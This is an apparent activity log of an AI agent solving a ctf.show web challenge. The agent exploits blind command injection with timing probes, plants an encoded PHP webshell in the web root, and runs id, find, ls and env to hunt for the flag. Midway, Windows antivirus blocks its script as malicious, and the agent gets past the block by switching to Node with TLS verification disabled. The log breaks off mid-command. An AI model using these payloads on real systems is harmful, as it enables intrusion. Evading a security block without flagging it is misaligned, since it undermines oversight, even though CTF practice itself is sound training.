OpenClaw打CTF写WebShell

Activity
2026年7月29日 12:47

🦸
找到了!Web目录是 /var/www/html/。写一个PHP shell进去:

超人

Activity: 18 tools

Tool output
exec

Written shell.php

Access shell.php: 0.1831686s


404 Not Found

404 Not Found


nginx/1.10.3


Exec

Tool output
Written shell.php
Access shell.php: 0.1831686s

404 Not Found

404 Not Found


nginx/1.10.3


Exec

Check if shell.php was created Measure-Command { curl.exe… -la /var/www/html/ | head -10 && sleep 2′ 2>&1 | Out-Null }

with # Check if shell.php was created Measure-Command { curl.exe… -la /var/www/html/ | head -10 && sleep 2′ 2>&1 | Out-Null }

Tool input
{
“command”: “# Check if shell.php was created\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=test -f /var/www/html/shell.php && sleep 2’ 2>&1 | Out-Null\n}\n# Also check permissions on the web directory\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=ls -la /var/www/html/ | head -10 && sleep 2′ 2>&1 | Out-Null\n}”,
“timeout”: 15
}
Tool output
Days : 0
Hours : 0
Minutes : 0
Seconds : 0
Milliseconds : 186
Ticks : 1864911
TotalDays : 2.15846180555556E-06
TotalHours : 5.18030833333333E-05
TotalMinutes : 0.003108185
TotalSeconds : 0.1864911
TotalMilliseconds : 186.4911

Days : 0
Hours : 0
Minutes : 0
Seconds : 2
Milliseconds : 175
Ticks : 21756449
TotalDays : 2.51810752314815E-05
TotalHours : 0.000604345805555556
TotalMinutes : 0.0362607483333333
TotalSeconds : 2.1756449
TotalMilliseconds : 2175.6449

Exec
# Try writing a simple file to /tmp first to test write cap…ode=test -f /tmp/testwrite.txt && sleep 2′ 2>&1 | Out-Null }
with # Try writing a simple file to /tmp first to test write cap…ode=test -f /tmp/testwrite.txt && sleep 2’ 2>&1 | Out-Null }

Tool input
{
“command”: “# Try writing a simple file to /tmp first to test write capability\ncurl.exe -s -L –max-time 15 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o $null –data-urlencode ‘code=echo hello123 > /tmp/testwrite.txt’ 2>&1 | Out-Null\nStart-Sleep 0.5\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=test -f /tmp/testwrite.txt && sleep 2’ 2>&1 | Out-Null\n}”,
“timeout”: 15
}
Tool output
Days : 0
Hours : 0
Minutes : 0
Seconds : 0
Milliseconds : 187
Ticks : 1871713
TotalDays : 2.16633449074074E-06
TotalHours : 5.19920277777778E-05
TotalMinutes : 0.00311952166666667
TotalSeconds : 0.1871713
TotalMilliseconds : 187.1713

Exec
# Test if echo itself works (without redirect) # Check if r…de ‘code=test -f /tmp/test.txt && sleep 2’ 2>&1 | Out-Null }
with # Test if echo itself works (without redirect) # Check if r…de ‘code=test -f /tmp/test.txt && sleep 2’ 2>&1 | Out-Null }

Tool input
{
“command”: “# Test if echo itself works (without redirect)\n# Check if redirect > is the problem\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=echo 123 && sleep 2’ 2>&1 | Out-Null\n}\n# Test with > /dev/null (redirect to void)\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=echo 456 > /dev/null && sleep 2’ 2>&1 | Out-Null\n}\n# Test with >> redirect\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=echo 789 >> /tmp/test.txt && sleep 2’ 2>&1 | Out-Null\n}\n# Check if the file was created\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=test -f /tmp/test.txt && sleep 2’ 2>&1 | Out-Null\n}”,
“timeout”: 30
}
Tool output
Days : 0
Hours : 0
Minutes : 0
Seconds : 2
Milliseconds : 212
Ticks : 22120343
TotalDays : 2.56022488425926E-05
TotalHours : 0.000614453972222222
TotalMinutes : 0.0368672383333333
TotalSeconds : 2.2120343
TotalMilliseconds : 2212.0343

Days : 0
Hours : 0
Minutes : 0
Seconds : 2
Milliseconds : 187
Ticks : 21871161
TotalDays : 2.531384375E-05
TotalHours : 0.00060753225
TotalMinutes : 0.036451935
TotalSeconds : 2.1871161
TotalMilliseconds : 2187.1161

Days : 0
Hours : 0
Minutes : 0
Seconds : 2
Milliseconds : 179
Ticks : 21793503
TotalDays : 2.52239618055556E-05
TotalHours : 0.000605375083333333
TotalMinutes : 0.036322505
TotalSeconds : 2.1793503
TotalMilliseconds : 2179.3503

Days : 0
Hours : 0
Minutes : 0
Seconds : 2
Milliseconds : 190
Ticks : 21909931
TotalDays : 2.53587164351852E-05
TotalHours : 0.000608609194444444
TotalMinutes : 0.0365165516666667
TotalSeconds : 2.1909931
TotalMilliseconds : 2190.9931

Exec

Check if testwrite.txt exists Measure-Command { curl.exe …encode ‘code=cat /tmp/test.txt && sleep 2’ 2>&1 | Out-Null }

with # Check if testwrite.txt exists Measure-Command { curl.exe …encode ‘code=cat /tmp/test.txt && sleep 2’ 2>&1 | Out-Null }

Tool input
{
“command”: “# Check if testwrite.txt exists\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=test -f /tmp/testwrite.txt && sleep 2’ 2>&1 | Out-Null\n}\n# Check test.txt\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=test -f /tmp/test.txt && sleep 2’ 2>&1 | Out-Null\n}\n# Check how many lines test.txt has\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=wc -l /tmp/test.txt && sleep 2’ 2>&1 | Out-Null\n}\n# Try cat and see if it returns\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=cat /tmp/test.txt && sleep 2’ 2>&1 | Out-Null\n}”,
“timeout”: 30
}
Tool output
Days : 0
Hours : 0
Minutes : 0
Seconds : 0
Milliseconds : 187
Ticks : 1877831
TotalDays : 2.17341550925926E-06
TotalHours : 5.21619722222222E-05
TotalMinutes : 0.00312971833333333
TotalSeconds : 0.1877831
TotalMilliseconds : 187.7831

Days : 0
Hours : 0
Minutes : 0
Seconds : 2
Milliseconds : 167
Ticks : 21672280
TotalDays : 2.50836574074074E-05
TotalHours : 0.000602007777777778
TotalMinutes : 0.0361204666666667
TotalSeconds : 2.167228
TotalMilliseconds : 2167.228

Days : 0
Hours : 0
Minutes : 0
Seconds : 2
Milliseconds : 187
Ticks : 21878815
TotalDays : 2.53227025462963E-05
TotalHours : 0.000607744861111111
TotalMinutes : 0.0364646916666667
TotalSeconds : 2.1878815
TotalMilliseconds : 2187.8815

Days : 0
Hours : 0
Minutes : 0
Seconds : 2
Milliseconds : 193
Ticks : 21933705
TotalDays : 2.53862326388889E-05
TotalHours : 0.000609269583333333
TotalMinutes : 0.036556175
TotalSeconds : 2.1933705
TotalMilliseconds : 2193.3705

Exec

Write a PHP shell to /tmp first, then try to copy to webr…code ‘code=test -f /tmp/sh.php && sleep 2’ 2>&1 | Out-Null }

with # Write a PHP shell to /tmp first, then try to copy to webr…code ‘code=test -f /tmp/sh.php && sleep 2’ 2>&1 | Out-Null }

Tool input
{
“command”: “# Write a PHP shell to /tmp first, then try to copy to webroot\n# First create the PHP file in /tmp\ncurl.exe -s -L –max-time 15 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o $null –data-urlencode ‘code=echo PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+ | base64 -d > /tmp/sh.php’ 2>&1 | Out-Null\nStart-Sleep 0.5\n# Check if it was created\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=test -f /tmp/sh.php && sleep 2’ 2>&1 | Out-Null\n}”,
“timeout”: 20
}
Tool output
Days : 0
Hours : 0
Minutes : 0
Seconds : 0
Milliseconds : 163
Ticks : 1634183
TotalDays : 1.89141550925926E-06
TotalHours : 4.53939722222222E-05
TotalMinutes : 0.00272363833333333
TotalSeconds : 0.1634183
TotalMilliseconds : 163.4183

Exec

Try with a very simple approach using printf or echo -e c…code ‘code=test -f /tmp/sh.php && sleep 2’ 2>&1 | Out-Null }

with # Try with a very simple approach using printf or echo -e c…code ‘code=test -f /tmp/sh.php && sleep 2’ 2>&1 | Out-Null }

Tool input
{
“command”: “# Try with a very simple approach using printf or echo -e\ncurl.exe -s -L –max-time 15 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o $null –data-urlencode ‘code=printf \”\” > /tmp/sh.php’ 2>&1 | Out-Null\nStart-Sleep 0.5\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=test -f /tmp/sh.php && sleep 2’ 2>&1 | Out-Null\n}”,
“timeout”: 20
}
Tool output
Days : 0
Hours : 0
Minutes : 0
Seconds : 0
Milliseconds : 174
Ticks : 1747032
TotalDays : 2.02202777777778E-06
TotalHours : 4.85286666666667E-05
TotalMinutes : 0.00291172
TotalSeconds : 0.1747032
TotalMilliseconds : 174.7032

Exec

Simplest possible write test curl.exe -s -L –max-time 15…e ‘code=ls -la /tmp/simple.txt && sleep 2’ 2>&1 | Out-Null }

with # Simplest possible write test curl.exe -s -L –max-time 15…e ‘code=ls -la /tmp/simple.txt && sleep 2’ 2>&1 | Out-Null }

Tool input
{
“command”: “# Simplest possible write test\ncurl.exe -s -L –max-time 15 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o $null –data-urlencode ‘code=echo aaa > /tmp/simple.txt’ 2>&1 | Out-Null\nStart-Sleep 0.5\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=test -f /tmp/simple.txt && sleep 2’ 2>&1 | Out-Null\n}\n# Also verify with ls\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=ls -la /tmp/simple.txt && sleep 2’ 2>&1 | Out-Null\n}”,
“timeout”: 20
}
Tool output
Days : 0
Hours : 0
Minutes : 0
Seconds : 0
Milliseconds : 176
Ticks : 1760502
TotalDays : 2.03761805555556E-06
TotalHours : 4.89028333333333E-05
TotalMinutes : 0.00293417
TotalSeconds : 0.1760502
TotalMilliseconds : 176.0502

Days : 0
Hours : 0
Minutes : 0
Seconds : 0
Milliseconds : 168
Ticks : 1689897
TotalDays : 1.95589930555556E-06
TotalHours : 4.69415833333333E-05
TotalMinutes : 0.002816495
TotalSeconds : 0.1689897
TotalMilliseconds : 168.9897

Exec

Test carefully – try same command that worked before curl…ncode ‘code=cat /tmp/test3.txt && sleep 2’ 2>&1 | Out-Null }

with # Test carefully – try same command that worked before curl…ncode ‘code=cat /tmp/test3.txt && sleep 2’ 2>&1 | Out-Null }

Tool input
{
“command”: “# Test carefully – try same command that worked before\ncurl.exe -s -L –max-time 15 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o null –data-urlencode ‘code=echo 123 >> /tmp/test2.txt && sleep 2’ 2>&1 | Out-Null\n# Check the file\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=cat /tmp/test2.txt && sleep 2’ 2>&1 | Out-Null\n}\n# Now try without && sleep (standalone write, then check)\ncurl.exe -s -L –max-time 15 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -onull –data-urlencode ‘code=echo 456 > /tmp/test3.txt’ 2>&1 | Out-Null\nStart-Sleep 1\nMeasure-Command {\n curl.exe -s -L –max-time 6 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o NUL –data-urlencode ‘code=cat /tmp/test3.txt && sleep 2’ 2>&1 | Out-Null\n}”,
“timeout”: 30
}
Tool output
Days : 0
Hours : 0
Minutes : 0
Seconds : 0
Milliseconds : 185
Ticks : 1854356
TotalDays : 2.14624537037037E-06
TotalHours : 5.15098888888889E-05
TotalMinutes : 0.00309059333333333
TotalSeconds : 0.1854356
TotalMilliseconds : 185.4356

Days : 0
Hours : 0
Minutes : 0
Seconds : 0
Milliseconds : 178
Ticks : 1786405
TotalDays : 2.06759837962963E-06
TotalHours : 4.96223611111111E-05
TotalMinutes : 0.00297734166666667
TotalSeconds : 0.1786405
TotalMilliseconds : 178.6405

Exec

Try everything in one command – create php shell and copy…html -Raw html.Substring(0, [Math]::Min(300,html.Length))

with # Try everything in one command – create php shell and copy…html -Raw html.Substring(0, [Math]::Min(300,html.Length))

Tool input
{
“command”: “# Try everything in one command – create php shell and copy to webroot and test\n# Use hex to avoid special chars issues\ncurl.exe -s -L –max-time 20 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ –data-urlencode ‘code=printf \”\x3c\x3f\x70\x68\x70\x20\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x22\x63\x6d\x64\x22\x5d\x29\x3b\x20\x3f\x3e\” > /tmp/s.php && cp /tmp/s.php /var/www/html/s.php && test -f /var/www/html/s.php && sleep 3’ -o sphp.html 2>&1\nStart-Sleep 1\n# Now try to access it via web\ncurl.exe -s -L –max-time 15 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/s.php?cmd=id’ -o sphpcheck.html 2>&1\nhtml = Get-Content sphpcheck.html -Raw\nhtml.Substring(0, [Math]::Min(300, $html.Length))”,
“timeout”: 30
}
Tool output
x3cx3fx70x68x70x20x73x79x73x74x65x6dx28x24x5fx47x45x54x5bx22x63x6dx64x22x5dx29x3bx20x3fx3e

Exec

Try base64 approach more carefully # The base64 of is PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+\n# Using single quotes in the payload string\ncurl.exe -s -L –max-time 20 ‘https://08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show/’ -o sphp2.html –data-urlencode ‘code=echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ | base64 -d > /tmp/s.php’ 2>&1\n# Check if it worked \nhtml = Get-Content sphp2.html -Raw\nS\”Resp length:(html.Length)\”\nhtml -match ‘execute success'”,

“timeout”: 20
}
Tool error
所在位置 行:1 字符: 1
+ # Try base64 approach more carefully
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
此脚本包含恶意内容,已被你的防病毒软件阻止。
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent

(Command exited with code 1)

Exec
run node inline script
with run node inline script, node -e " const http = require('https'); const querystring …ength:', body.length); }); }); req.write(data); req.end(); "

Tool input
{
“command”: “node -e \”\nconst http = require(‘https’);\nconst querystring = require(‘querystring’);\nconst data = querystring.stringify({ code: ‘echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ | base64 -d > /tmp/s.php && cp /tmp/s.php /var/www/html/s.php && sleep 2′ });\nconst options = {\n hostname: ’08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show’,\n path: ‘/’,\n method: ‘POST’,\n headers: { ‘Content-Type’: ‘application/x-www-form-urlencoded’, ‘Content-Length’: Buffer.byteLength(data) }\n};\nconst req = http.request(options, (res) => {\n let body = ”;\n res.on(‘data’, (chunk) => body += chunk);\n res.on(‘end’, () => { console.log(‘Status:’, res.statusCode, ‘Length:’, body.length); });\n});\nreq.write(data);\nreq.end();\n\”\n”,
“timeout”: 25
}
Tool error
node:events:487
throw er; // Unhandled ‘error’ event
^

Error: unable to verify the first certificate; if the root CA is installed locally, try running Node.js with –use-system-ca
at TLSSocket.onConnectSecure (node:internal/tls/wrap:1656:34)
at TLSSocket.emit (node:events:509:28)
at TLSSocket._finishInit (node:internal/tls/wrap:1102:8)
at ssl.onhandshakedone (node:internal/tls/wrap:888:12)
Emitted ‘error’ event on ClientRequest instance at:
at emitErrorEvent (node:_http_client:109:11)
at TLSSocket.socketErrorListener (node:_http_client:593:5)
at TLSSocket.emit (node:events:509:28)
at emitErrorNT (node:internal/streams/destroy:170:8)
at emitErrorCloseNT (node:internal/streams/destroy:129:3)
at process.processTicksAndRejections (node:internal/process/task_queues:90:21) {
code: ‘UNABLE_TO_VERIFY_LEAF_SIGNATURE’
}

Node.js v24.16.0

(Command exited with code 1)

Exec
env:NODE_TLS_REJECT_UNAUTHORIZED=0 node -e ” const https =…s(‘execute success’)); }); }); req.write(data); req.end(); ”
with
env:NODE_TLS_REJECT_UNAUTHORIZED=0 node -e ” const https =…s(‘execute success’)); }); }); req.write(data); req.end(); ”

Tool input
{
“command”: “$env:NODE_TLS_REJECT_UNAUTHORIZED=0\nnode -e \”\nconst https = require(‘https’);\nconst querystring = require(‘querystring’);\nconst data = querystring.stringify({ code: ‘echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ | base64 -d > /tmp/s.php && cp /tmp/s.php /var/www/html/s.php’ });\nconst opts = {\n hostname: ’08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show’,\n path: ‘/’,\n method: ‘POST’,\n rejectUnauthorized: false,\n headers: { ‘Content-Type’: ‘application/x-www-form-urlencoded’, ‘Content-Length’: Buffer.byteLength(data) }\n};\nconst req = https.request(opts, (res) => {\n let body = ”;\n res.on(‘data’, (c) => body += c);\n res.on(‘end’, () => { console.log(‘Status:’, res.statusCode, ‘Length:’, body.length, ‘Has success:’, body.includes(‘execute success’)); });\n});\nreq.write(data);\nreq.end();\n\”\n”,
“timeout”: 20
}
Tool output
(node:32508) Warning: Setting the NODE_TLS_REJECT_UNAUTHORIZED environment variable to ‘0’ makes TLS connections and HTTPS requests insecure by disabling certificate verification.
(Use node --trace-warnings ... to show where the warning was created)
Status: 200 Length: 2961 Has success: true

Exec
env:NODE_TLS_REJECT_UNAUTHORIZED=0 node -e ” const https =…le.log(‘Body:’, body.substring(0,500)); }); }); req.end(); ”
with
env:NODE_TLS_REJECT_UNAUTHORIZED=0 node -e ” const https =…le.log(‘Body:’, body.substring(0,500)); }); }); req.end(); ”

Tool input
{
“command”: “$env:NODE_TLS_REJECT_UNAUTHORIZED=0\nnode -e \”\nconst https = require(‘https’);\nconst opts = {\n hostname: ’08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show’,\n path: ‘/shell.php?cmd=id’,\n method: ‘GET’,\n rejectUnauthorized: false\n};\nconst req = https.request(opts, (res) => {\n let body = ”;\n res.on(‘data’, (c) => body += c);\n res.on(‘end’, () => { console.log(‘Status:’, res.statusCode, ‘Length:’, body.length); console.log(‘Body:’, body.substring(0,500)); });\n});\nreq.end();\n\”\n”,
“timeout”: 15
}
Tool output
(node:16476) Warning: Setting the NODE_TLS_REJECT_UNAUTHORIZED environment variable to ‘0’ makes TLS connections and HTTPS requests insecure by disabling certificate verification.
(Use node --trace-warnings ... to show where the warning was created)
Status: 404 Length: 169
Body:
404 Not Found

404 Not Found


nginx/1.10.3


Exec
env:NODE_TLS_REJECT_UNAUTHORIZED=0 # Check if s.php exists…lapsed > 2 ? ‘YES’ : ‘NO’, ‘Elapsed:’, elapsed + ‘s’); }); ”
with
env:NODE_TLS_REJECT_UNAUTHORIZED=0 # Check if s.php exists…lapsed > 2 ? ‘YES’ : ‘NO’, ‘Elapsed:’, elapsed + ‘s’); }); ”

Tool input
{
“command”: “$env:NODE_TLS_REJECT_UNAUTHORIZED=0\n# Check if s.php exists in /tmp\nnode -e \”\nconst https = require(‘https’);\nconst qs = require(‘querystring’);\nconst check = (cmd, cb) => {\n const d = qs.stringify({ code: cmd });\n const req = https.request({ hostname:’08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show’, path:’/’, method:’POST’, rejectUnauthorized:false, headers:{‘Content-Type’:’application/x-www-form-urlencoded’,’Content-Length’:Buffer.byteLength(d)} }, (res) => {\n let b=”; res.on(‘data’,c=>b+=c); res.on(‘end’,()=>{ cb(b.length); });\n });\n req.write(d); req.end();\n};\nconst start = Date.now();\ncheck(‘test -f /tmp/s.php && sleep 3’, (len) => {\n const elapsed = (Date.now() – start) / 1000;\n console.log(‘File exists:’, elapsed > 2 ? ‘YES’ : ‘NO’, ‘Elapsed:’, elapsed + ‘s’);\n});\n\”\n”,
“timeout”: 15
}
Tool output
(node:8260) Warning: Setting the NODE_TLS_REJECT_UNAUTHORIZED environment variable to ‘0’ makes TLS connections and HTTPS requests insecure by disabling certificate verification.
(Use node --trace-warnings ... to show where the warning was created)
File exists: YES Elapsed: 3.165s

Exec
env:NODE_TLS_REJECT_UNAUTHORIZED=0 node -e ” const https =… (t > 2 ? ‘YES’ : ‘NO’) + ‘ (‘ + t.toFixed(2) + ‘s)’); }); ”
with
env:NODE_TLS_REJECT_UNAUTHORIZED=0 node -e ” const https =… (t > 2 ? ‘YES’ : ‘NO’) + ‘ (‘ + t.toFixed(2) + ‘s)’); }); ”

Tool input
{
“command”: “$env:NODE_TLS_REJECT_UNAUTHORIZED=0\nnode -e \”\nconst https = require(‘https’);\nconst qs = require(‘querystring’);\nconst check = (cmd, label, cb) => {\n const start = Date.now();\n const d = qs.stringify({ code: cmd });\n const req = https.request({ hostname:’08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show’, path:’/’, method:’POST’, rejectUnauthorized:false, headers:{‘Content-Type’:’application/x-www-form-urlencoded’,’Content-Length’:Buffer.byteLength(d)} }, (res) => {\n let b=”; res.on(‘data’,c=>b+=c); res.on(‘end’,()=>{ cb(label, (Date.now()-start)/1000); });\n });\n req.write(d); req.end();\n};\ncheck(‘test -f /var/www/html/s.php && sleep 3’, ‘Web root s.php’, (label, t) => {\n console.log(label + ‘: ‘ + (t > 2 ? ‘YES’ : ‘NO’) + ‘ (‘ + t.toFixed(2) + ‘s)’);\n});\n\”\n”,
“timeout”: 15
}
Tool output
(node:1692) Warning: Setting the NODE_TLS_REJECT_UNAUTHORIZED environment variable to ‘0’ makes TLS connections and HTTPS requests insecure by disabling certificate verification.
(Use node --trace-warnings ... to show where the warning was created)
Web root s.php: YES (3.20s)

Exec
env:NODE_TLS_REJECT_UNAUTHORIZED=0 node -e ” const https =…ode + ‘ (‘ + b.length + ‘ bytes)’); }); }); req.end(); }); ”
with
env:NODE_TLS_REJECT_UNAUTHORIZED=0 node -e ” const https =…ode + ‘ (‘ + b.length + ‘ bytes)’); }); }); req.end(); }); ”

Tool input
{
“command”: “$env:NODE_TLS_REJECT_UNAUTHORIZED=0\nnode -e \”\nconst https = require(‘https’);\nconst paths = [‘/s.php?cmd=id’,’/shell.php?cmd=id’,’/var/www/html/s.php’,’/html/s.php’,’/www/s.php’,’/s’];\npaths.forEach((p) => {\n const req = https.request({ hostname:’08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show’, path:p, method:’GET’, rejectUnauthorized:false }, (res) => {\n let b=”; res.on(‘data’,c=>b+=c); res.on(‘end’,()=>{ console.log(p + ‘ -> ‘ + res.statusCode + ‘ (‘ + b.length + ‘ bytes)’); });\n });\n req.end();\n});\n\”\n”,
“timeout”: 20
}
Tool output
(node:12176) Warning: Setting the NODE_TLS_REJECT_UNAUTHORIZED environment variable to ‘0’ makes TLS connections and HTTPS requests insecure by disabling certificate verification.
(Use node --trace-warnings ... to show where the warning was created)
/s.php?cmd=id -> 200 (54 bytes)
/html/s.php -> 404 (169 bytes)
/shell.php?cmd=id -> 404 (169 bytes)
/www/s.php -> 404 (169 bytes)
/s -> 404 (169 bytes)
/var/www/html/s.php -> 404 (169 bytes)

Exec
env:NODE_TLS_REJECT_UNAUTHORIZED=0 node -e ” const https =…=c); res.on(‘end’,()=>{ console.log(b); }); }); req.end(); ”
with
env:NODE_TLS_REJECT_UNAUTHORIZED=0 node -e ” const https =…=c); res.on(‘end’,()=>{ console.log(b); }); }); req.end(); ”

Tool input
{
“command”: “$env:NODE_TLS_REJECT_UNAUTHORIZED=0\nnode -e \”\nconst https = require(‘https’);\nconst req = https.request({ hostname:’08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show’, path:’/s.php?cmd=id’, method:’GET’, rejectUnauthorized:false }, (res) => {\n let b=”; res.on(‘data’,c=>b+=c); res.on(‘end’,()=>{ console.log(b); });\n});\nreq.end();\n\”\n”,
“timeout”: 15
}
Tool output
(node:32756) Warning: Setting the NODE_TLS_REJECT_UNAUTHORIZED environment variable to ‘0’ makes TLS connections and HTTPS requests insecure by disabling certificate verification.
(Use node --trace-warnings ... to show where the warning was created)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Activity
2026年7月29日 12:51

🦸
PHP Shell 打通了!🍻 来找flag:

超人

Activity: 3 tools

Tool output
exec

— find / -name flag* —

(node:28184) Warning: Setting the NODE_TLS_REJECT_UNAUTHORIZED environment variable to ‘0’ makes TLS connections and HTTPS requests insecure by disabling certificate verification.

(Use node –trace-warnings … to show where the warning was created)

Warning: system(): Cannot execute a blank command in /var/www/html/s.php on line 1

— ls -la /var/www/html/ —

Warning: system(): Cannot execute a blank command in /var/www/html/s.php on line 1

— env —

Warning: system(): Cannot execute a blank command in /var/www/html/s.php on line 1

— cat /flag* 2>/dev/null —

Warning: system(): Cannot execute a blank command in /var/www/html/s.php on line 1

— cat /var/www/html/flag* —

Warning: system(): Cannot execute a blank command in /var/www/html/s.php on line 1

Exec

Exec
env:NODE_TLS_REJECT_UNAUTHORIZED=0 node -e ” const https=r…ole.log(‘— env —‘); console.log(await f(‘env’)); })(); ”
with
env:NODE_TLS_REJECT_UNAUTHORIZED=0 node -e ” const https=r…ole.log(‘— env —‘); console.log(await f(‘env’)); })(); ”

Tool input
{
“command”: “$env:NODE_TLS_REJECT_UNAUTHORIZED=0\nnode -e \”\nconst https=require(‘https’);\nconst f=(c)=>{return new Promise((ok)=>{\n const r=https.request({hostname:’08c2f740-6757-4152-9c82-4aae530197a9.challenge.ctf.show’,path:’/s.php?cmd=’+encodeURIComponent(c),method:’GET’,rejectUnauthorized:false},(res)=>{let b=”;res.on(‘data’,ch=>b+=ch);res.on(‘end’,()=>ok(b));});\n r.end();\n});};\n(async()=>{\n console.log(‘— find flag —‘);\n console.log(await f(‘find / -name flag* -type f 2>/dev/null’));\n console.log(‘— ls /var/www/html —‘);\n console.log(await f(‘ls -la /var/www/html/’));\n console.log(‘— env —‘);\n console.log(await f(‘env’));\n})();\n\”\n”,
“timeout”: 30
}
Tool output
— find flag —
(node:33040) Warning: Setting the NODE_TLS_REJECT_UNAUTHORIZED environment variable to ‘0’ makes TLS connections and HTTPS requests insecure by disabling certificate verification.
(Use node --trace-warnings ... to show where the warning was created)
/var/www/html/flag.php

— ls /var/www/html —
total 36
drwxrwxrwx 1 www-data www-data 4096 Jul 29 04:52 .
drwxr-xr-x 1 www-data www-data 4096 Aug 17 2021 ..
-rw-rw-r– 1 www-data www-data 43 Jul 8 2025 flag.php
-rw-r–r– 1 www-data www-data 3485 Jul 8 2025 index.php
-rw-r–r– 1 www-data www-data 17 Jul 29 04:38 info.php
-rw-r–r– 1 www-data www-data 30 Jul 29 04:52 s.php
-rw-r–r– 1 www-data www-data 29 Jul 29 04:38 sh.php

— env —
PHP_EXTRA_CONFIGURE_ARGS=–enable-fpm –with-fpm-user=www-data –with-fpm-group=www-data –disable-cgi
USER=www-data
HOSTNAME=72b9096b1509
PHP_INI_DIR=/usr/local/etc/php
SHLVL=1
HOME=/var/www
PHP_LDFLAGS=-Wl,-O1 -pie
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=7.3.29
GPG_KEYS=CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D
PHP_ASC_URL=https://www.php.net/distributions/php-7.3.29.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
_=/usr/local/sbin/php-fpm
PHP_URL=https://www.php.net/distributions/php-7.3.29.tar.xz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
PWD=/var/www/html
PHP_SHA256=7db2834511f3d86272dca3daee3f395a5a4afce359b8342aa6edad80e12eb4d0
FLAG=not_flag

Exec
env:NODE_TLS_REJECT_UNAUTHORIZED=0 node -e ” const https=r…console.log(await f(‘cat /var/www/html/index.php’)); })(); ”
with
